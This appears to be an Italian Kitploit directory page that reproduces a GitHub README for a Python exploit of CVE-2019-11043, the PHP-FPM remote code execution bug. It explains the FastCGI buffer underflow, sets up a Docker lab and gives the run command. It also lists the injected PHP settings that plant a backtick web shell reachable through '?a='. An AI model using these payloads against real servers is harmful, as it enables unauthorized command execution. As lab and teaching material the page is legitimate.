Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-11043 — PHP-FPM Exploit di esecuzione remota di comandi | Kitploit
Strumenti/GitHubGitHub/lindemer/cve-2019-11043
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHublindemer/cve-2019-11043

CVE-2019-11043

PHP-FPM Exploit di esecuzione remota di comandi

Vedi Repository
425 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-11043

PHP-FPM Esecuzione Remota di Codice

Screencast: https://youtu.be/d6benC5FVZM

Panoramica

Questo exploit zero-day nelle configurazioni comuni di PHP-FPM è stato scoperto durante la competizione Realworld CTF nel 2019. Un'espressione regolare viene utilizzata per analizzare l'URI richiesto, ma i caratteri di nuova riga %0a non vengono riconosciuti. Questo innesca un bug in FastCGI che calcola la lunghezza della stringa di query in modo errato e scrive un byte nullo in una posizione prima dell'inizio del buffer previsto. Selezionando attentamente la lunghezza della stringa di query, un attaccante può sfruttare questo bug per sovrascrivere variabili PHP interne sul server ed eseguire codice shell arbitrario.

L'implementazione originale in Go di questo exploit può essere trovata qui. Ho utilizzato questa, un articolo e il rapporto del bug originale come risorse di apprendimento per implementare l'exploit in Python.

Istruzioni

Docker su Linux Esegui sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 per istanziare un server NGINX/PHP-FPM minimo con uno script vuoto in /script.php. Il Dockerfile per questa immagine è disponibile qui, anche se non è necessario per eseguire il comando sopra menzionato.

Docker su Mac Esegui sudo docker-compose up -d dalla directory /php/CVE-2019-11043 del repository vulhub. (Compose è incluso con Docker per Mac.)

Esegui lo script dell'exploit con il comando python3 exploit.py http://localhost:8080/script.php (o /index.php se è stata usata la seconda opzione). Dopo l'esecuzione riuscita, una Web shell sarà accessibile aggiungendo comandi all'URL dopo ?a= (es., http://localhost:8080/script.php?a=uname -a).

N.B. Ho provato a creare un playbook Ansible per questo compito, ma mi sono imbattuto in un bug bloccante documentato qui. Non è possibile avviare servizi systemd su kernel Linux recenti (es., qualsiasi release Ubuntu LTS) con un playbook Ansible.

Teoria

Vulnerabilità

I file di configurazione PHP-FPM contengono una regola per abbinare le richieste URI in arrivo agli script PHP che spesso assomiglia a questa:

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info       ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass                  php:9000;
  ...
}

Questo dovrebbe corrispondere a qualsiasi URI nella forma /script.php/pathinfo, ma . in realtà non corrisponde ai caratteri di nuova riga %0a. Se l'URI contiene una nuova riga, attiverà il seguente bug nell'implementazione PHP:

root@kitploit:~
1141    int ptlen = strlen(pt);
1142    int slen = len - ptlen;
1143    int pilen = env_path_info ? strlen(env_path_info) : 0;
1144    int tflag = 0;
1145    char *path_info;
1146    if (apache_was_here) {
1147        /* recall that PATH_INFO won't exist */
1148        path_info = script_path_translated + ptlen;
1149        tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150    } else {
1151        path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152        tflag = (orig_path_info != path_info);
1153    }

Il problema è che slen è calcolato correttamente come la lunghezza dell'URI meno la lunghezza del percorso della risorsa, ma pilen è erroneamente impostato a 0. Questo imposta path_info a un valore negativo alla riga 1151, causando un underflow del buffer. Subito dopo questo errore di calcolo nello stesso file, abbiamo:

root@kitploit:~
1159    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160    old = path_info[0];
1161    path_info[0] = 0;
1162    if (!orig_script_name ||
1163        strcmp(orig_script_name, env_path_info) != 0) {
1164        if (orig_script_name) {
1165            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166        }
1167        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168    } else {
1169        SG(request_info).request_uri = orig_script_name;
1170    }
1171    path_info[0] = old;

Alla riga 1161, un byte nullo viene scritto nella locazione di memoria calcolata erroneamente dal passo precedente. Questo può essere sfruttato per sfruttare una vulnerabilità alla riga 1165, dove FastCGI scrive una variabile d'ambiente. Scrivendo il byte nullo nel puntatore che controlla l'operazione di scrittura della variabile d'ambiente, possiamo inserire variabili PHP arbitrarie nell'ambiente con le nostre richieste HTTP.

Exploit

Strutture Dati Interne di FastCGI

Le variabili d'ambiente in FastCGI sono memorizzate in una sequenza compatta di coppie chiave-valore in memoria. L'inizio e la fine del buffer che contiene queste stringhe è chiamato _fcgi_data_seg. Il membro pos punta al prossimo posto disponibile per scrivere. Se il buffer si riempie (pos > end), ne viene allocato uno nuovo e il membro next punta a quello vecchio.

root@kitploit:~
118    typedef struct _fcgi_data_seg {
119        char                  *pos;
120        char                  *end;
121    	   struct _fcgi_data_seg *next;
122    	   char                   data[1];
123    } fcgi_data_seg;

FastCGI accede alle singole variabili d'ambiente usando una tabella hash chiamata _fcgi_hash.

root@kitploit:~
125    typedef struct _fcgi_hash {
126    	   fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
127    	   fcgi_hash_bucket  *list;
128        fcgi_hash_buckets *buckets;
129        fcgi_data_seg     *data;
130    } fcgi_hash;

L'idea è di sovrascrivere il byte meno significativo di pos per indurre FastCGI a sovrascrivere una variabile esistente. Il codice dovrebbe prendere la stringa aggiunta al nostro percorso URI e posizionarla nella locazione per PATH_INFO. Tuttavia, vogliamo sovrascrivere PHP_VALUE, perché questo valore viene immediatamente recuperato e caricato nelle impostazioni PHP dopo il segmento di codice vulnerabile.

Allineamento dei Dati

Come si può vedere in exploit.py, la premessa generale di questo exploit è trovare una query URI molto lunga che allinei il buffer di memoria interna di FastCGI in un modo che possiamo abusare. L'idea è trovare il numero esatto di caratteri necessario affinché FastCGI allochi un nuovo buffer _fcgi_data_seg. Quando ciò accade, FastCGI scriverà prevedibilmente il nostro PATH_INFO nel nuovo buffer, seguito immediatamente da ciascuna delle nostre intestazioni HTTP come nuovi valori d'ambiente. Quindi, il passo successivo è trovare quanti caratteri sono necessari per riempire un'intestazione HTTP arbitraria al fine di allineare la memoria per i nostri scopi. Poiché possiamo scrivere solo un byte nullo in una locazione arbitraria, dobbiamo far puntare pos a un offset prevedibile rispetto a PHP_VALUE in modo che modificare il byte meno significativo lo sposti lì.

Elusione della Tabella Hash

La sfida è che vogliamo sovrascrivere PHP_VALUE, ma non sappiamo dove si trovi in memoria. Quando FastCGI carica questa variabile, eseguirà l'hash della stringa PHP_VALUE per ottenere l'indirizzo di memoria effettivo secondo un semplice algoritmo:

root@kitploit:~
31    #define FCGI_HASH_FUNC(var, var_len) \
32        (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33        (((unsigned int)var[3]) << 2) + \
34        (((unsigned int)var[var_len-2]) << 4) + \
35        (((unsigned int)var[var_len-1]) << 2) + \
36        var_len)

Invece di modificare effettivamente la tabella hash in qualche modo, tutto ciò che dobbiamo fare è creare un'altra variabile d'ambiente con la stessa lunghezza di stringa e lo stesso hash di PHP_VALUE secondo questa funzione. Questo ingannerà la ricerca hash facendole leggere la nostra intestazione HTTP invece della variabile prevista. L'autore di questo exploit ha intelligentemente notato che un'intestazione chiamata EBUT verrà salvata come HTTP_EBUT nell'ambiente FastCGI, il che soddisfa questo requisito.

Iniezione di Codice

Per l'attacco stesso, inviamo richieste GET contenenti la nostra intestazione EBUT e usiamo il bug di sovrascrittura del byte nullo per sovrascrivere il suo valore. Tentiamo di impostare variabili d'ambiente PHP una alla volta con richieste ripetute:

root@kitploit:~
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"

La modifica riuscita di tutte queste variabili abilita una nuova query ?a= sul server per l'esecuzione arbitraria di comandi shell. Il ciclo di attacco verifica il successo ad ogni iterazione tentando di eseguire which which. L'attaccante può facilmente rilevare se ciò è riuscito leggendo il risultato dalla risposta HTTP (es., /bin/which).

Scarica lo strumento